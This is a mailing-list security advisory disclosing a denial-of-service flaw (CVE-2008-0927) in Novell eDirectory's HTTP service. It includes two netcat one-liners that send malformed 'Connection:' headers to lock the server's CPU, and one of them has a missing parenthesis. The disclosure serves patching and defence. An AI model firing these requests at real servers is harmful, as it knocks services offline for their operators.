Novell eDirectory DoS via HTTP headers

From: Nicob <nicob@nicob.net>
To: vulnwatch@vulnwatch.org,bugtraq@securityfocus.com,full-disclosure@lists.grok.org.uk
Cc:
Subject: Novell eDirectory DoS via HTTP headers
Date:


[=] Affected software :

       Editor : Novell
    Name : eDirectory
  Version : < 8.7.3 SP 10 and < 8.8.2
      Services : TCP/8028 (HTTP) and TCP/8030 (HTTPS)

[=] External references :

http://www.novell.com/support/viewContent.do?externalId=3829452&sliceId=1
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0927

[=] Technical details :

The dhost.exe process will consume 100% of a CPU. More than one request
can be used to lock every CPU.

Two "Connection:" headers : echo "GET / HTTP/1.0"; echo "Connection:
foo"; echo "Connection: bar"; echo; echo) | nc -vn 192.168.1.1 8028 

One "Connection:" header with two values : (echo "GET / HTTP/1.0"; echo
"Connection: foo, bar"; echo; echo) | nc -vn 192.168.1.1 8028

Nicob





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